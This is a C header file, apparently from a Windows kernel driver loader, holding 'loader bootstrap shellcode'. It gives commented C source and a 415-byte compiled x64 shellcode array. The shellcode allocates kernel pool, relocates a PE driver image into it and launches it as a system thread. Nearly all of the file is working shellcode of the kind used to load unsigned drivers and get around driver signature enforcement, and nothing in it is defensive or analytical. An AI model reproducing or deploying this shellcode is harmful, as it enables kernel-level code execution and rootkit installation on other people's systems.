146 lines
5.7 KiB
C
146 lines
5.7 KiB
C
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/*******************************************************************************
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*
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* (C) COPYRIGHT AUTHORS, 2016
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*
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* TITLE: SHELLCODE.H
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*
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* VERSION: 1.00
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*
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* DATE: 30 Jan 2016
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*
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* Loader bootstrap shellcode.
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*
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* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
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* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
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* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
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* PARTICULAR PURPOSE.
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*
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*******************************************************************************/
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#pragma once
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typedef PVOID(NTAPI *PfnExAllocatePoolWithTag)(
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_In_ POOL_TYPE PoolType,
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_In_ SIZE_T NumberOfBytes,
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_In_ ULONG Tag
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);
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typedef NTSTATUS(NTAPI *PfnPsCreateSystemThread)(
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_Out_ PHANDLE ThreadHandle,
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_In_ ULONG DesiredAccess,
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_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
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_In_opt_ HANDLE ProcessHandle,
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_Out_opt_ PCLIENT_ID ClientId,
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_In_ PKSTART_ROUTINE StartRoutine,
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_In_opt_ PVOID StartContext
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);
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/*
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* TDLBootstrapLoader
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*
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* Purpose:
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*
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* Main part of shellcode used to execute driver code.
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*
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*/
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/*
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void TDLBootstrapLoader(
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PfnExAllocatePoolWithTag ExAllocatePoolWithTag,
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PfnPsCreateSystemThread PsCreateSystemThread)
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{
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ULONG_PTR pos, exbuffer,
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Image = ((ULONG_PTR)&TDLBootstrapLoader) + 0x200;
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PIMAGE_DOS_HEADER dosh = (PIMAGE_DOS_HEADER)Image;
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PIMAGE_FILE_HEADER fileh =
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(PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew);
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PIMAGE_OPTIONAL_HEADER popth =
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(PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
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ULONG isz = popth->SizeOfImage;
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HANDLE th;
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PIMAGE_BASE_RELOCATION rel;
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DWORD_PTR delta;
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LPWORD chains;
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DWORD c, p, rsz;
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OBJECT_ATTRIBUTES attr;
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exbuffer = (ULONG_PTR)ExAllocatePoolWithTag(
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NonPagedPool, isz + PAGE_SIZE, 'SldT') + PAGE_SIZE;
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exbuffer &= ~(PAGE_SIZE - 1);
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if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC)
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if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
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{
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rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image +
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popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
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rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
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delta = (DWORD_PTR)exbuffer - popth->ImageBase;
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c = 0;
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while (c < rsz) {
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p = sizeof(IMAGE_BASE_RELOCATION);
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chains = (LPWORD)((PBYTE)rel + p);
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while (p < rel->SizeOfBlock) {
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switch (*chains >> 12) {
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case IMAGE_REL_BASED_HIGHLOW:
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*(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta;
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break;
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case IMAGE_REL_BASED_DIR64:
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*(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta;
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break;
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}
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chains++;
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p += sizeof(WORD);
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}
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c += rel->SizeOfBlock;
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rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
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}
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}
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isz >>= 3;
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for (pos = 0; pos < isz; pos++)
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((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos];
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InitializeObjectAttributes(&attr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
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PsCreateSystemThread(&th, THREAD_ALL_ACCESS, &attr, NULL, NULL,
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(PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL);
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}
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*/
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static const unsigned char TDLBootstrapLoader_code[415] = {
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0x40, 0x53, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x70, 0x4C, 0x8B, 0xE2,
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0x4C, 0x89, 0xBC, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xC9, 0x48, 0x8D, 0x1D, 0xDE, 0xFF,
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0xFF, 0xFF, 0x48, 0x81, 0xC3, 0x00, 0x02, 0x00, 0x00, 0x33, 0xC9, 0x41, 0xB8, 0x54, 0x64, 0x6C,
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0x53, 0x4C, 0x63, 0x73, 0x3C, 0x4C, 0x03, 0xF3, 0x45, 0x8B, 0x7E, 0x50, 0x41, 0x8D, 0x97, 0x00,
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0x10, 0x00, 0x00, 0x41, 0xFF, 0xD1, 0x45, 0x33, 0xED, 0x48, 0x8D, 0xB0, 0x00, 0x10, 0x00, 0x00,
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0x48, 0x81, 0xE6, 0x00, 0xF0, 0xFF, 0xFF, 0x41, 0x83, 0xBE, 0x84, 0x00, 0x00, 0x00, 0x05, 0x0F,
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0x86, 0xAB, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x8E, 0xB0, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x0F, 0x84,
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0x9C, 0x00, 0x00, 0x00, 0x48, 0x89, 0xAC, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x04, 0x0B,
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0x41, 0x8B, 0xAE, 0xB4, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xDE, 0x4D, 0x2B, 0x5E, 0x30, 0x48, 0x89,
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0xBC, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xFD, 0x85, 0xED, 0x74, 0x63, 0x0F, 0x1F, 0x00,
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0x41, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x4D, 0x8D, 0x50, 0x08, 0x45, 0x39, 0x48, 0x04, 0x76, 0x43,
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0x41, 0x0F, 0xB7, 0x02, 0x8B, 0xC8, 0xC1, 0xE9, 0x0C, 0x83, 0xF9, 0x03, 0x74, 0x17, 0x83, 0xF9,
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0x0A, 0x75, 0x22, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x4C,
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0x01, 0x1C, 0x0A, 0xEB, 0x10, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C,
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0x03, 0x44, 0x01, 0x1C, 0x0A, 0x49, 0x83, 0xC2, 0x02, 0x41, 0x83, 0xC1, 0x02, 0x45, 0x3B, 0x48,
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0x04, 0x72, 0xBD, 0x41, 0x8B, 0x40, 0x04, 0x03, 0xF8, 0x4C, 0x03, 0xC0, 0x3B, 0xFD, 0x72, 0xA0,
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0x48, 0x8B, 0xAC, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xBC, 0x24, 0xB0, 0x00, 0x00, 0x00,
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0x49, 0x8B, 0xD7, 0x4C, 0x8B, 0xBC, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xC1, 0xEA, 0x03, 0x48,
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0x85, 0xD2, 0x74, 0x1D, 0x48, 0x8B, 0xCE, 0x48, 0x2B, 0xDE, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00,
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0x48, 0x8B, 0x04, 0x0B, 0x48, 0x89, 0x01, 0x48, 0x8D, 0x49, 0x08, 0x48, 0x83, 0xEA, 0x01, 0x75,
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0xEF, 0x0F, 0x57, 0xC0, 0xC7, 0x44, 0x24, 0x40, 0x30, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0x44,
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0x24, 0x60, 0x4C, 0x89, 0x6C, 0x24, 0x48, 0x4C, 0x8D, 0x44, 0x24, 0x40, 0xC7, 0x44, 0x24, 0x58,
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0x00, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x6C, 0x24,
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0x50, 0x45, 0x33, 0xC9, 0x41, 0x8B, 0x46, 0x28, 0xBA, 0xFF, 0xFF, 0x1F, 0x00, 0x48, 0x03, 0xC6,
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0x4C, 0x89, 0x6C, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x89, 0x6C, 0x24, 0x20, 0x41,
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0xFF, 0xD4, 0x48, 0x83, 0xC4, 0x70, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5B, 0xC3
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};
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